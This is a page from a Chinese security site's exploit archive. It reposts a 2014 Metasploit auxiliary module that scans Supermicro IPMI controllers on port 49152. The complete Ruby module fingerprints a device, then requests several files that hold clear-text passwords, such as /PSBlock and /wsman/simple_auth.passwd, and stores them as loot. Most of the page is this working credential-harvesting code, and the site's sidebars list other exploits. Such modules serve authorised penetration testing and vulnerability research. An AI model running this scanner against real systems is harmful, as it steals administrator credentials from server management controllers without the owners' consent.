首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Supermicro Onboard IPMI Port 49152 Sensitive File Exposure Exploit
来源:metasploit.com 作者:hdm 发布时间:2014-07-01  
##
# This module requires Metasploit: http//metasploit.com/download
##
  
require 'uri'
require 'msf/core'
  
class Metasploit3 < Msf::Auxiliary
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  
  
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure',
      'Description' => %q{
This module abuses a file exposure vulnerability accessible through the web interface
on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker
to obtain detailed device information and download data files containing the clear-text
usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs
were exposed to the internet with this vulnerability.
},
      'Author' =>
        [
          'Zach Wikholm <kestrel[at]trylinux.us>', # Discovery and analysis
          'John Matherly <jmath[at]shodan.io>', # Internet-wide scan
          'Dan Farmer <zen[at]fish2.com>', # Additional investigation
          'hdm' # Metasploit module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
        ],
      'DisclosureDate' => 'Jun 19 2014'))
  
    register_options(
      [
        Opt::RPORT(49152)
      ], self.class)
  end
  
  def is_supermicro?
    res = send_request_cgi(
      {
        "uri" => "/IPMIdevicedesc.xml",
        "method" => "GET"
      })
  
    if res && res.code == 200 && res.body.to_s =~ /supermicro/i
      path = store_loot(
        'supermicro.ipmi.devicexml',
        'text/xml',
        rhost,
        res.body.to_s,
        'IPMIdevicedesc.xml'
      )
      print_good("#{peer} - Stored the device description XML in #{path}")
      return true
    else
      return false
    end
  end
  
  
  def run_host(ip)
  
    unless is_supermicro?
      vprint_error("#{peer} - This does not appear to be a Supermicro IPMI controller")
      return
    end
  
    candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd }
  
    candidates.each do |uri|
      res = send_request_cgi(
        {
          "uri" => uri,
          "method" => "GET"
        })
  
      next unless res
  
      unless res.code == 200 && res.body.length > 0
        vprint_status("#{peer} - Request for #{uri} resulted in #{res.code}")
        next
      end
  
      path = store_loot(
        'supermicro.ipmi.passwords',
        'application/octet-stream',
        rhost,
        res.body.to_s,
        uri.split('/').last
      )
      print_good("#{peer} - Password data from #{uri} stored to #{path}")
    end
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Gitlist <= 0.4.0 - Remote Code
·OpenSSL DTLS Fragment Buffer O
·check_dhcp 2.0.2 (Nagios Plugi
·MongoDB NoSQL Collection Enume
·chkrootkit 0.49 - Local Root V
·Sun/Oracle GlassFish Authentic
·HP AutoPass License Server Fil
·Nagios check_dhcp 2.0.2 Race C
·MS14-009 .NET Deployment Servi
·Horde Framework Unserialize PH
·MS13-097 Registry Symlink IE S
·Baidu Spark Browser 26.5.9999.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved